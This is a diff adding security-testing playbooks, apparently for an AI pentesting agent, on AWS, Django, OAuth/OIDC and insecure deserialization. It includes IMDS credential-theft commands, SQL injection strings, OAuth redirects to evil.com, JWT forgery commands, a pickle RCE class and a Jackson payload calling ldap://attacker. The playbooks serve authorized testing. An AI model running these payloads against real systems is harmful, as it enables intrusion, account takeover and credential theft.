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Split unauthenticated enumeration into separate head-bucket/HTTP
and s3 ls steps with interpretation guidance per review.

strix/skills/cloud/aws.md

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+---
+name: aws
+description: AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
+---
+
+# AWS Cloud Security
+
+AWS misconfigurations frequently expose credentials, data, and lateral movement paths. This skill covers direct AWS API testing and post-compromise enumeration from EC2/Lambda/container workloads. For SSRF-mediated metadata access, combine with the ssrf skill.
+
+## Attack Surface
+
+**Identity**
+- IAM users, roles, groups, policies (inline and managed)
+- Access keys, session tokens, SSO/SAML federation
+- Cross-account roles, trust policies, permission boundaries
+
+**Storage & Data**
+- S3 buckets, objects, bucket policies, ACLs, Block Public Access settings
+- EBS snapshots, RDS snapshots, AMIs shared publicly
+- Secrets Manager, SSM Parameter Store, KMS keys
+
+**Compute**
+- EC2 instances, Lambda functions, ECS/EKS tasks
+- Instance metadata service (IMDSv1/v2) at `169.254.169.254`
+- User data, launch templates, AMIs
+
+**Network**
+- Security groups, NACLs, VPC endpoints, public subnets
+- ELB/ALB/CloudFront misconfigurations
+
+**Management**
+- CloudTrail, Config, GuardDuty gaps
+- Cognito user pools, API Gateway, AppSync
+
+## Reconnaissance
+
+**Credential Discovery**
+- Environment variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`
+- `~/.aws/credentials`, `~/.aws/config`, CI/CD env vars, `.env` files
+- Hardcoded keys in source, mobile apps, JavaScript bundles
+
+**Unauthenticated Enumeration**
+
+Use two separate checks — they answer different questions and must not be conflated:
+
+**1. Bucket existence (does the name resolve?)**
+
+Goal: learn whether a bucket name exists in AWS, without needing `s3:ListBucket`.
+- `head-bucket` or `curl -I` HTTP status is the signal — not `aws s3 ls`.
+- `403 Forbidden` → bucket exists but you lack access (private or wrong account).
+- `404 Not Found` → bucket does not exist in that region, or name is wrong.
+
+```
+aws s3api head-bucket --bucket target-bucket --no-sign-request 2>&1
+curl -I https://target-bucket.s3.amazonaws.com/
+```
+
+**2. Public listing (is ListBucket granted to anonymous users?)**
+
+Goal: confirm `s3:ListBucket` is publicly granted — a separate and stronger finding than existence alone.
+- Only run `aws s3 ls` for this step; a successful listing returns object keys/prefixes.
+- Failure here does not disprove existence (a private bucket still returns 403 on list).
+
+```
+aws s3 ls s3://target-bucket --no-sign-request
+```
+
+**Authenticated Enumeration (with any credentials)**
+```
+aws sts get-caller-identity
+aws iam get-account-authorization-details 2>/dev/null
+aws iam list-users
+aws iam list-roles
+aws iam list-attached-user-policies --user-name <user>
+aws s3 ls
+aws ec2 describe-instances
+```
+
+## Key Vulnerabilities
+
+### S3 Misconfigurations
+
+- Public read/write buckets (ACL `public-read`, policy `"Principal":"*"`)
+- AuthenticatedUsers group grants (`http://acs.amazonaws.com/groups/global/AuthenticatedUsers`)
+- ListBucket enabled publicly → object key enumeration
+- Sensitive object keys guessable: `backup/`, `db/`, `.env`, `config/`, `logs/`
+
+**Test:**
+```
+aws s3 ls s3://BUCKET --no-sign-request
+aws s3 cp s3://BUCKET/sensitive-file . --no-sign-request
+curl https://BUCKET.s3.amazonaws.com/
+```
+
+### IAM Privilege Escalation
+
+Common escalation paths (verify with `aws iam simulate-principal-policy` when possible):
+
+| Permission | Escalation |
+|------------|------------|
+| `iam:CreatePolicyVersion` | Attach admin policy version to self |
+| `iam:SetDefaultPolicyVersion` | Roll back to older permissive policy version |
+| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with admin role, invoke |
+| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with instance profile |
+| `sts:AssumeRole` on overprivileged role | Cross-account or same-account pivot |
+| `iam:UpdateAssumeRolePolicy` | Add self to trust policy of privileged role |
+| `iam:AttachUserPolicy` / `PutUserPolicy` | Self-grant admin |
+
+**Test:**
+```
+aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
+aws iam simulate-principal-policy --policy-source-arn <arn> --action-names iam:CreateAccessKey --resource-arns "*"
+```
+
+### Instance Metadata Abuse
+
+**IMDSv1 (no token required)**
+```
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
+curl http://169.254.169.254/latest/user-data
+```
+
+**IMDSv2 bypass contexts**
+- SSRF with header injection if server forwards `X-aws-ec2-metadata-token`
+- Container sidecars without hop limit enforcement
+- Misconfigured proxies allowing link-local access
+
+### Snapshot and Backup Exposure
+
+- Public EBS/RDS snapshots: `aws ec2 describe-snapshots --restorable-by-user-names all`
+- AMIs with `Public` launch permission containing secrets or keys
+- Backup vaults cross-account without proper isolation
+
+### Lambda and Serverless
+
+- Overprivileged execution roles (`AdministratorAccess` on Lambda role)
+- Environment variables containing secrets (visible via `lambda:GetFunctionConfiguration`)
+- Function URLs or API Gateway without auth
+- Event source mappings triggering on attacker-controlled events
+
+### Cognito Misconfigurations
+
+- Self-signup enabled with elevated default group membership
+- Missing app client secret on confidential flows
+- Custom attribute write permissions allowing privilege fields (`custom:role`, `custom:admin`)
+- ID token custom claims trusted by backend without verification
+
+### KMS and Secrets
+
+- KMS key policies allowing `Principal: *` or overly broad accounts
+- Secrets Manager secrets readable by unintended roles
+- SSM parameters under `/` with `GetParameter` for unauthenticated or low-priv callers
+
+## Advanced Techniques
+
+**Cross-Account Role Assumption**
+- Find roles trusting `*` or external accounts broadly
+- Confused deputy: service assumes role without external ID validation
+
+**CloudFront Origin Exposure**
+- Origin pointing directly to S3 website or ALB bypassing WAF
+- Signed URL/cookie misconfiguration allowing object access
+
+**Resource-Based Policy Gaps**
+- S3 bucket policy allowing `s3:GetObject` from unintended principals
+- Lambda resource policy `Principal: *` with weak condition keys
+
+## Testing Methodology
+
+1. **Discover credentials** — Keys in code, env, metadata, or SSRF
+2. **Identify principal** — `get-caller-identity`, map effective permissions
+3. **Enumerate resources** — S3, EC2, IAM, Lambda within policy bounds
+4. **Escalation paths** — Run escalation checklist against attached policies
+5. **Data exposure** — Public buckets, snapshots, secrets, user-data scripts
+6. **Persistence** — New access keys, backdoor roles, Lambda triggers (only in authorized scope)
+
+## Validation
+
+1. Demonstrate unauthorized read/write of S3 objects or snapshots with evidence (object keys, ETags)
+2. Show IAM escalation from low-priv to higher-priv with exact API calls and resulting permissions
+3. Prove metadata credential theft path (SSRF or IMDS) with redacted temporary credentials scope
+4. Document resource ARN, policy statement, and misconfiguration root cause
+5. Confirm fix would block the specific principal/action/resource combination
+
+## False Positives
+
+- Intentionally public static assets bucket with no sensitive keys
+- Read-only `s3:ListBucket` on empty marketing bucket
+- Metadata endpoint unreachable from tested context (no SSRF, IMDSv2 enforced with hop limit)
+- Simulated escalation blocked by permission boundary or SCP
+- 403 on S3 that indicates existence but not readable content (still note for recon, not data breach)
+
+## Impact
+
+- Mass data exfiltration from S3/RDS/snapshots
+- Full account or organization compromise via IAM escalation
+- Persistent backdoor access through new keys or roles
+- Regulatory exposure (PII/PCI in unencrypted public buckets)
+
+## Pro Tips
+
+1. Always run `get-caller-identity` first to know your effective principal
+2. Distinguish 403 vs 404 on S3 — both are useful, mean different things
+3. Check instance profile role, not just user credentials, from metadata
+4. Review trust policies on roles, not just permission policies
+5. Combine with subdomain takeover — dangling S3 bucket names in DNS CNAMEs
+
+## Tooling
+
+Prefer credential-light, install-once CLIs. The sandbox has `awscli`/`python`/`pipx`/`go` and build-time egress.
+
+- **awscli** — the primary enumeration tool (used throughout this skill). Always start with `aws sts get-caller-identity`.
+- **enumerate-iam** (andresriancho) — tiny script that brute-forces which API calls a set of keys can make when you can't read your own policy:
+  ```
+  git clone https://github.com/andresriancho/enumerate-iam && cd enumerate-iam
+  pip install -r requirements.txt
+  python enumerate-iam.py --access-key AKIA... --secret-key ...
+  ```
+- **cloudsplaining** (Salesforce) — offline IAM policy risk analysis; finds privilege-escalation/resource-exposure in the auth-details JSON:
+  ```
+  pipx install cloudsplaining
+  aws iam get-account-authorization-details > auth.json
+  cloudsplaining scan --input-file auth.json
+  ```
+- **CloudFox** (BishopFox) — single Go binary for fast post-compromise inventory and "what can I do from here" surfacing: `cloudfox aws --profile <profile> all-checks`
+- **Pacu** (Rhino Security Labs) — the standard AWS exploitation framework; heavier, but its `iam__privesc_scan` module automates the escalation table above. Use for a full exploitation session (`run iam__enum_permissions`, then `run iam__privesc_scan`).
+
+## Summary
+
+AWS security requires least-privilege IAM, blocked public data paths, IMDSv2 with hop limits, and tight resource policies. Enumerate from any credential found — even limited read access often reveals escalation chains.

strix/skills/frameworks/django.md

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+---
+name: django
+description: Security testing playbook for Django applications covering ORM injection, middleware gaps, auth/session flaws, and template issues
+---
+
+# Django
+
+Security testing for Django web applications and Django REST Framework (DRF) APIs. Focus on ORM/raw query misuse, middleware ordering, permission class gaps, and session/auth configuration across views, admin, and channels.
+
+## Attack Surface
+
+**Core Components**
+- URL routing (`urls.py`), class-based and function views, middleware stack
+- ORM (QuerySet filters), raw SQL, `extra()`, `RawSQL`, annotations
+- Templates (Django template language, Jinja2 if configured)
+- Forms, ModelForms, serializers (DRF)
+
+**Authentication**
+- Session framework, `AuthenticationMiddleware`, `@login_required`, DRF `permission_classes`
+- Token auth, JWT (djangorestframework-simplejwt), OAuth integrations
+- Django admin (`/admin/`), staff/superuser flags
+
+**Deployment**
+- `DEBUG=True` exposure, `ALLOWED_HOSTS`, `SECRET_KEY` leakage
+- Static/media serving, reverse proxies, ASGI (Channels, Daphne, Uvicorn)
+
+## High-Value Targets
+
+- `/admin/` — brute force, credential stuffing, IDOR on admin objects
+- API endpoints with mixed permission classes across ViewSets
+- File upload (`FileField`, `ImageField`), import/export (django-import-export)
+- Search/filter endpoints using `filter()`, `Q` objects, or raw SQL
+- Password reset, email verification, invitation tokens
+- WebSocket consumers (Django Channels) with weaker auth than HTTP equivalents
+- Celery task triggers accepting user IDs without ownership checks
+
+## Reconnaissance
+
+**Fingerprinting**
+```
+curl -I https://target/ -H "Cookie: sessionid=test"
+# X-Frame-Options, Set-Cookie (sessionid, csrftoken), Server header
+GET /admin/login/
+GET /api/  /api/v1/  /swagger/  /api/schema/
+```
+
+**Settings Leakage (when DEBUG=True or misconfigured)**
+- Yellow debug page exposes `SECRET_KEY`, database credentials, installed apps
+- `/static/`, error pages with stack traces revealing paths and ORM queries
+
+**OpenAPI / DRF**
+```
+GET /api/schema/
+GET /swagger.json
+```
+Map endpoints, authentication classes, and permission classes per route.
+
+## Key Vulnerabilities
+
+### Authentication & Authorization
+
+**Permission Class Gaps**
+- ViewSet with `list` protected but `retrieve`/`update` missing `permission_classes`
+- Custom permissions checking authentication but not object ownership (IDOR)
+- `@api_view` without explicit permissions inheriting permissive defaults
+- Admin actions or custom management commands without staff checks
+
+**Session Issues**
+- `SESSION_COOKIE_SECURE=False` on HTTPS sites; missing `HttpOnly`
+- Session fixation if session key not rotated on login
+- Weak or leaked `SECRET_KEY` → forge session cookies (`django.contrib.sessions.backends.signed_cookies`)
+
+**JWT (simplejwt)**
+- RS256→HS256 confusion if algorithm pinning is misconfigured
+- Missing `user_id`/`token` blacklist on logout
+- Refresh token rotation not enforced
+
+### Injection
+
+**ORM SQL Injection**
+Vulnerable patterns (more common in legacy code):
+```python
+User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{user_input}'")
+User.objects.extra(where=[f"username = '{user_input}'"])
+```
+Test: `' OR 1=1 --`, time-based payloads, database-specific syntax.
+
+**DRF Filter Backends**
+- `django-filter` with unsafe field exposure: `?username__icontains=` on unintended columns
+- Ordering injection via `?ordering=` if field whitelist missing
+
+**Template Injection**
+Django templates auto-escape by default; risk rises with:
+```python
+mark_safe(user_input)
+|safe filter in templates
+Template(user_input).render(...)  # SSTI if user controls template source
+```
+Jinja2 backend without autoescape: `{{7*7}}`, RCE gadgets if sandbox misconfigured.
+
+### CSRF
+
+- `@csrf_exempt` on state-changing views
+- DRF session authentication without CSRF enforcement on unsafe methods
+- CSRF cookie not set (`CSRF_USE_SESSIONS`, trusted origins misconfiguration)
+- `CSRF_TRUSTED_ORIGINS` too broad
+
+**Test:** Cross-origin POST with victim session cookie; JSON endpoints with session auth.
+
+### IDOR and Mass Assignment
+
+**DRF Serializers**
+- `fields = '__all__'` exposing `is_staff`, `is_superuser`, `role`, `balance`
+- `read_only_fields` missing on sensitive ModelSerializer fields
+- Nested writes updating foreign keys across tenants
+
+**Object-Level Permissions**
+- `get_object()` without filtering queryset by request.user
+- Generic views with `queryset = Model.objects.all()` and weak permissions
+
+### File Handling
+
+- `MEDIA_ROOT` served directly in DEBUG or via misconfigured nginx
+- Path traversal in custom file download views using user-supplied paths
+- SVG/HTML uploads served with `Content-Type` that enables XSS
+- Missing file size/type validation on uploads
+
+### SSRF
+
+- `requests.get(user_url)` in webhooks, preview, import features
+- Celery tasks fetching user URLs server-side
+- Test loopback, metadata IPs, redirect chains
+
+### Host Header / Password Reset
+
+- `ALLOWED_HOSTS = ['*']` or permissive subdomain patterns
+- Password reset emails built from `Host` header → poisoned reset links
+- Cache poisoning via unkeyed Host header on cached pages
+
+### Django Admin
+
+- Default `/admin/` path with weak credentials
+- `has_add_permission` / `has_change_permission` overrides with logic bugs
+- ModelAdmin exposing sensitive fields in list_display or export
+
+### Channels / WebSocket
+
+- Consumer accepts connection without session/auth parity to HTTP
+- Group name derived from user input → subscribe to other users' channels
+- Missing origin validation on WebSocket handshake
+
+## Bypass Techniques
+
+- Content negotiation: JSON vs form data hitting different parser/permission paths
+- HTTP method override or trailing slash routing to alternate view
+- Parameter pollution: duplicate `id` fields in query and body
+- Race on state transitions (coupon redemption, inventory) via parallel requests
+- Versioned API (`/api/v1/` vs `/api/v2/`) with weaker auth on older version
+
+## Testing Methodology
+
+1. **Map surface** — URLs, DRF schema, admin, static/media paths
+2. **Auth matrix** — Unauthenticated/user/staff for each endpoint and method
+3. **Object ownership** — Swap IDs across two user accounts on every CRUD route
+4. **Serializer audit** — Identify writable sensitive fields and nested relations
+5. **Middleware order** — Confirm auth runs before business logic; check CSRF on session APIs
+6. **Channel parity** — Same authorization on WebSocket actions as REST equivalents
+7. **Settings review (white-box)** — DEBUG, ALLOWED_HOSTS, SECRET_KEY, session/cookie flags
+
+## Validation
+
+1. Side-by-side requests proving unauthorized access (IDOR, privilege escalation)
+2. CSRF PoC executing state change with victim session (for session-authenticated endpoints)
+3. SQLi/template injection with deterministic oracle (error, timing, or `7*7` equivalent)
+4. Document view/serializer/permission class where enforcement failed
+5. Show admin or staff capability gained from regular user context if applicable
+
+## False Positives
+
+- `queryset.filter(user=request.user)` consistently applied including nested routes
+- Object-level permission class correctly validates ownership on all actions
+- DEBUG=False and generic error pages with no settings leakage confirmed
+- Mark_safe used only on server-generated trusted content
+- CSRF correctly enforced on all session-authenticated unsafe methods
+
+## Impact
+
+- Account takeover via session forgery or password reset poisoning
+- Horizontal/vertical privilege escalation through IDOR and mass assignment
+- Data breach via ORM/SQL injection or excessive serializer fields
+- Server compromise via SSTI, pickle in cache (if used), or SSRF to internal services
+
+## Pro Tips
+
+1. DRF ViewSets often protect `list` but forget `destroy` or custom `@action` routes
+2. Check `APIView` subclasses for missing `permission_classes` — common oversight
+3. Test `?format=` and browsable API HTML responses for CSRF on session auth
+4. `django.contrib.admin` uses separate auth — don't assume API auth covers admin
+5. Compare ASGI WebSocket consumers against REST permissions for the same resource
+
+## Tooling
+
+Static analysis is the fastest way to reach the sinks above in white-box scope. The sandbox ships `python`/`pipx`, `semgrep`, `bandit`, `ast-grep`, and `ripgrep`.
+
+- **bandit** (preinstalled) — Python security linter; flags `mark_safe`, `extra()`, `RawSQL`, `subprocess`, weak crypto, hardcoded secrets: `bandit -r . -ll`
+- **semgrep** (preinstalled) with the Django ruleset — higher-signal than bandit for framework-specific bugs (`.extra()`, `RawSQL`, `|safe`, `csrf_exempt`, `ALLOWED_HOSTS=['*']`): `semgrep --config p/django .`
+- **pip-audit** (PyPA) — dependency CVE scanner for known-vuln Django/DRF/simplejwt versions: `pipx install pip-audit && pip-audit -r requirements.txt`
+- **ast-grep** (preinstalled) — quick structural grep for risky calls without a full SAST run: `ast-grep run -p 'mark_safe($X)' -l python`
+
+For the `SECRET_KEY` → signed-cookie/reset-token forgery path noted under Session Issues, Django's own `django.core.signing` is the "tool": with a leaked key you can mint valid `signing.dumps()` values (session cookies, password-reset tokens, and `PickleSerializer`-backed session RCE).
+
+## Summary
+
+Django's defaults help (CSRF middleware, template auto-escape) but DRF, raw SQL, custom permissions, and deployment settings introduce frequent gaps. Test every endpoint with role-separated principals and verify object-level enforcement on querysets, not just authentication presence.

strix/skills/protocols/oauth.md

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+---
+name: oauth
+description: OAuth 2.0 and OIDC flow security testing covering redirect manipulation, token leakage, PKCE bypass, and client misconfiguration
+---
+
+# OAuth 2.0 / OIDC
+
+OAuth and OIDC failures often enable account takeover, token theft, and cross-client token confusion. Treat every redirect, client identifier, and token exchange as an authorization boundary — not a convenience layer.
+
+## Attack Surface
+
+**Flows**
+- Authorization code (with/without PKCE)
+- Implicit (legacy), hybrid, device authorization, client credentials
+- Refresh token rotation, token introspection, revocation
+
+**Endpoints**
+- `/authorize`, `/token`, `/userinfo`, `/introspect`, `/revoke`, `/logout`
+- `/.well-known/openid-configuration`, `/jwks.json`
+- Dynamic client registration (if enabled)
+
+**Token Types**
+- Authorization codes, access tokens, refresh tokens, ID tokens
+- Opaque vs JWT formats; reference tokens vs self-contained JWTs
+
+**Client Types**
+- Public clients (SPAs, mobile) vs confidential (server-side)
+- Multiple redirect URIs, wildcard/pattern matching, custom URI schemes
+
+## Reconnaissance
+
+**Discovery**
+```
+GET /.well-known/openid-configuration
+GET /oauth2/.well-known/openid-configuration
+GET /.well-known/oauth-authorization-server
+```
+
+Extract: `authorization_endpoint`, `token_endpoint`, `registration_endpoint`, supported `response_types`, `code_challenge_methods_supported`, `grant_types_supported`.
+
+**Client Enumeration**
+- Inspect JS bundles, mobile APK/IPA configs, GitHub repos for `client_id`, redirect URIs, scopes
+- Check error messages for client validation hints ("invalid redirect_uri", "unregistered client")
+
+## Key Vulnerabilities
+
+### Redirect URI Manipulation
+
+**Open Redirect Chains**
+- Register or guess permissive redirect patterns: `https://app.com/callback`, path-prefix only, subdomain wildcards
+- Test: append paths, fragments, query injection, `@` tricks, encoded slashes, backslash variants
+
+```
+https://app.com/callback.evil.com
+https://app.com/callback%2f..%2f@evil.com
+https://app.com/callback?next=https://evil.com
+com.app://callback  (mobile custom scheme)
+```
+
+**Redirect URI Validation Bypasses**
+- Trailing slash, case, port, scheme downgrade (`http` vs `https`)
+- Path normalization differentials between IdP validator and consuming app
+- `redirect_uri` parameter pollution (first vs last wins)
+- Wildcard subdomain acceptance: `*.app.com` → register `attacker.app.com` or find dangling subdomain
+
+### Authorization Code Issues
+
+**Code Leakage**
+- Codes in URL fragments, Referer headers, browser history, server logs, analytics
+- Code replay before expiry; missing one-time-use enforcement
+- Code sent to wrong redirect_uri if binding is weak
+
+**Code Injection / Mix-Up**
+- Attacker initiates flow, victim completes login, code delivered to attacker's redirect
+- Mix-up attack: swap `client_id` between authorize and token steps
+- Missing `redirect_uri` binding at token endpoint
+
+### State and Nonce
+
+- Missing, predictable, or reusable `state` → CSRF on OAuth login (session fixation, account linking)
+- Missing `nonce` in OIDC → ID token injection/replay
+- `state` not bound to client session or PKCE verifier
+
+### PKCE Bypass
+
+- `code_challenge_method` downgrade: accept `plain` instead of `S256`
+- Missing PKCE requirement on public clients
+- `code_verifier` not validated or compared case-insensitively with weak matching
+- Authorization code issued without challenge, token endpoint accepts any verifier
+
+### Client Authentication
+
+**Public Client Abuse**
+- Token endpoint accepts requests without `client_secret` for confidential clients
+- `client_id` only authentication on token/introspection endpoints
+- Dynamic registration with attacker-controlled redirect URIs
+
+**Secret Leakage**
+- Hardcoded secrets in mobile apps, SPAs, or public repos
+- `client_secret` accepted in query string or logged in access logs
+
+### Scope and Token Issues
+
+- Scope escalation: request `admin`/`offline_access`/`openid profile email` beyond app need; server grants all requested scopes
+- Refresh token not rotated or reuse not detected → persistent access
+- Access token accepted across services (missing audience/resource binding)
+- Token introspection returns `active:true` without proper auth on introspection endpoint
+
+### OpenID Connect Specific
+
+- ID token accepted as access token at resource servers (token confusion)
+- `acr`, `amr`, `auth_time` not validated for step-up requirements
+- Userinfo endpoint returns PII without matching access token scope
+- `sub` collision across issuers if `iss` not validated
+
+## Advanced Techniques
+
+**Referer Leakage**
+- Embed authorized redirect as subresource on attacker page; harvest `code` from Referer if policy allows
+
+**Device Flow Abuse**
+- Poll `device_code` endpoint with guessed codes; slow rate limits only
+- User approves attacker-initiated device login
+
+**Account Linking**
+- OAuth login links attacker's IdP identity to victim's local account without re-auth
+- Email collision: same email from different IdP providers
+
+## Testing Methodology
+
+1. **Map flows** — Identify all grant types, clients, and redirect URIs in use
+2. **Redirect matrix** — For each client, fuzz redirect_uri validation with encoding and parser tricks
+3. **CSRF** — Initiate OAuth without `state`; swap sessions mid-flow
+4. **PKCE** — Replay codes with wrong/missing verifier; downgrade challenge method
+5. **Token exchange** — Swap codes/tokens between clients; test cross-audience acceptance
+6. **Mobile/deep links** — Custom schemes, intent filters, universal links hijacking
+
+## Validation
+
+1. Demonstrate stolen authorization code or token via redirect manipulation or Referer leak
+2. Show account takeover or access to victim resources with attacker's OAuth session
+3. Prove CSRF: victim completes login into attacker's linked session without consent UI bypass where applicable
+4. Document exact validation gap (redirect binding, PKCE, state, audience)
+5. Provide full authorize → callback → token request chain with before/after evidence
+
+## False Positives
+
+- Redirect URI rejected consistently across all bypass attempts
+- Public client correctly requires PKCE S256 with strict verifier validation
+- `state`/`nonce` enforced and bound; CSRF test fails as expected
+- Token audience/issuer correctly validated at resource server
+- Custom scheme redirects require app ownership proof (verified Android/iOS app links)
+
+## Impact
+
+- Full account takeover via stolen authorization codes or tokens
+- Persistent access through refresh token theft
+- Cross-tenant or cross-client data access via token confusion
+- PII exposure from userinfo or ID token claim leakage
+
+## Pro Tips
+
+1. Always capture the full redirect chain including intermediate 302 locations
+2. Compare authorize-step and token-step parameter binding (`redirect_uri`, `client_id`, PKCE)
+3. Test both web and mobile clients — validation rules often differ
+4. Check logout/revocation — tokens may remain valid after "logout"
+5. Chain with open redirect or XSS on the legitimate redirect_uri to exfiltrate codes
+
+## Tooling
+
+The sandbox ships **jwt_tool** (already cloned at `/home/pentester/tools/jwt_tool`) plus `curl` — enough for the token side of OAuth/OIDC.
+
+- **jwt_tool** (ticarpi) — inspect and tamper ID tokens / JWT access tokens: `alg:none`, `HS256`/`RS256` key confusion, `kid` injection, claim editing (`sub`, `aud`, `iss`, `exp`):
+  ```
+  python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN>                    # decode/inspect
+  python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X a               # alg:none
+  python3 /home/pentester/tools/jwt_tool/jwt_tool.py <ID_TOKEN> -X k -pk pub.pem   # RS256->HS256 confusion
+  ```
+- **curl** — drive the authorize → callback → token chain by hand so you control every parameter (`redirect_uri`, `client_id`, `state`, PKCE `code_challenge`/`code_verifier`) and can test the binding/downgrade cases above.
+
+Humans often use Burp's **EsPReSSO** (RUB-NDS) SSO extension for flow visualization; it is GUI-only, so prefer manual `curl` + `jwt_tool` in-sandbox.
+
+## Summary
+
+OAuth security hinges on strict redirect URI binding, unguessable state/nonce, PKCE for public clients, and consistent token audience validation. Any gap in the authorize-to-token chain is a potential account takeover.

strix/skills/vulnerabilities/insecure_deserialization.md

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+---
+name: insecure-deserialization
+description: Insecure deserialization testing for Java, Python, PHP, .NET, Ruby, and Node.js covering gadget chains, type confusion, and safe validation
+---
+
+# Insecure Deserialization
+
+Insecure deserialization passes attacker-controlled byte streams or structured blobs to language-native unmarshal functions, enabling remote code execution, authentication bypass, and logic manipulation through magic methods and gadget chains. Test any endpoint accepting serialized objects, session blobs, or opaque binary tokens.
+
+## Attack Surface
+
+**Formats**
+- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
+- Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
+- PHP: `unserialize()`, Phar deserialization
+- .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
+- Ruby: `Marshal.load`, YAML.load
+- Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
+
+**Input Locations**
+- Cookies, session tokens, hidden form fields
+- API parameters (`data`, `state`, `object`, base64 blobs)
+- Message queues, WebSocket binary frames, file uploads
+- Cache entries, database columns storing serialized objects
+
+## Reconnaissance
+
+**Detection Signals**
+- Base64 blobs starting with magic bytes:
+  - Java: `ac ed 00 05` (hex `rO0` base64)
+  - PHP: `O:`, `a:`, `s:` prefixes after decode
+  - .NET BinaryFormatter: starts with `00 01 00 00 00 ff ff ff ff`
+- `Content-Type` with binary or custom serialization
+- Framework indicators: Java apps with Spring, Struts, JSF; PHP with Symfony sessions
+
+**White-Box Indicators**
+```
+pickle.loads    unserialize(    ObjectInputStream    BinaryFormatter
+yaml.load       readObject(     TypeNameHandling    Marshal.load
+```
+
+## Key Vulnerabilities
+
+### Java Deserialization
+
+**Gadget Chains**
+- Commons Collections, Commons BeanUtils, Spring, Groovy, Rome, JDK-only chains (varies by classpath)
+- Tools: ysoserial (authorized testing only), manual chain selection by classpath
+
+**Test Flow**
+1. Confirm deserialization sink (HTTP param, cookie, RMI, JMX if exposed)
+2. Fingerprint library versions from errors, headers, or bundled libs
+3. Generate gadget payload for available chain; expect DNS/HTTP callback or command execution
+
+**Jackson / JSON Typing**
+```json
+["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/o", "autoCommit":true}]
+```
+When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
+
+### Python Pickle
+
+Pickle executes arbitrary code during unpickling by design:
+```python
+import pickle, os, base64
+class Exploit:
+    def __reduce__(self):
+        return (os.system, ('id',))
+# base64 encode pickle.dumps(Exploit()) and send as cookie/param
+```
+
+**YAML**
+```yaml
+!!python/object/apply:os.system ['id']
+```
+When `yaml.load` used instead of `yaml.safe_load`.
+
+### PHP unserialize()
+
+**Object Injection**
+- Magic methods: `__wakeup`, `__destruct`, `__toString`, `__call`
+- POP chains through framework classes (Laravel, Symfony, WordPress plugins)
+
+**Phar Deserialization**
+- Upload or reference `phar://` wrapper triggering metadata deserialization on file operations
+
+### .NET Deserialization
+
+**BinaryFormatter / LosFormatter**
+- Never safe on untrusted input; full RCE with known gadget chains (ysoserial.net)
+
+**Json.NET**
+```json
+{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework", ...}
+```
+When `TypeNameHandling` != `None`.
+
+**ViewState**
+- MAC disabled or weak machine keys → forge deserialized view state
+
+### Ruby Marshal
+
+- `Marshal.load` on user input → gadget chains in Rails/Devise versions (context-dependent)
+
+## Advanced Techniques
+
+**Signed Blob Bypass**
+- If HMAC/signing uses weak secret or algorithm confusion, forge serialized payload
+- Strip signature and test unsigned code paths
+- Length extension on MAC if applicable (older custom schemes)
+
+**Second-Order Deserialization**
+- Store serialized blob in profile/import; trigger on admin export, cache warm, or batch job
+
+**Compression Wrappers**
+- Gzip/base64 nested encoding bypassing naive WAF inspection
+
+## Testing Methodology
+
+1. **Find sinks** — Locate decode/unmarshal calls on user-influenced data
+2. **Confirm format** — Magic bytes, error stack traces, framework fingerprint
+3. **Safe oracle** — DNS/HTTP OAST callback or sleep/ping before full RCE PoC
+4. **Gadget selection** — Match classpath/runtime version to available chains
+5. **Minimal PoC** — Demonstrate code execution or critical logic bypass with least destructive command
+6. **Session/cookie focus** — Deserialize server-side session stores (Java, PHP) early
+
+## Validation
+
+1. Demonstrate attacker-controlled object graph reaches dangerous sink (unmarshal/readObject)
+2. Show impact: RCE (bounded command), auth bypass object, or privilege field manipulation
+3. Provide encoded payload and exact injection point (cookie name, parameter, header)
+4. Confirm on fixed version or alternate instance that identical payload fails safely
+5. Document library/version and gadget chain class names for remediation
+
+## False Positives
+
+- Base64 data is encrypted or signed with verified HMAC before deserialization
+- Only primitive types deserialized (whitelist schema, no polymorphic types)
+- `pickle`/`Marshal` not used; JSON parsed to dict without object instantiation
+- Deserialization in isolated sandbox with no network/exec primitives (verify thoroughly)
+- Error mentions serialization class but input is never passed to unmarshal (dead code path)
+
+## Bypass Methods
+
+- Encoding layers: base64 → gzip → serialize
+- Alternative parameters storing same session (`session`, `session_backup`, `state`)
+- Switch content-type or parameter location (GET vs POST vs cookie)
+- Type confusion: JSON array vs object hitting different deserializer branches
+- Unicode/UTF-7 smuggling in PHP serialized strings (legacy contexts)
+
+## Impact
+
+- Remote code execution on application servers
+- Authentication bypass via forged session objects
+- Privilege escalation through manipulated role/admin fields in deserialized classes
+- Full application compromise in Java/PHP/.NET stacks with known gadget libraries
+
+## Pro Tips
+
+1. Always fingerprint versions before firing ysoserial — wrong chain wastes time and noise
+2. Start with DNS/HTTP callback gadgets before command execution in production-like targets
+3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
+4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
+5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
+
+## Tooling
+
+Payload generation is the practitioner's core tool here. The sandbox has `git`/`python`/`go` and **interactsh-client** (OAST); add a JRE or `php-cli` if you need the Java/PHP generators.
+
+| Tool | Language / format | Use |
+|------|-------------------|-----|
+| **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
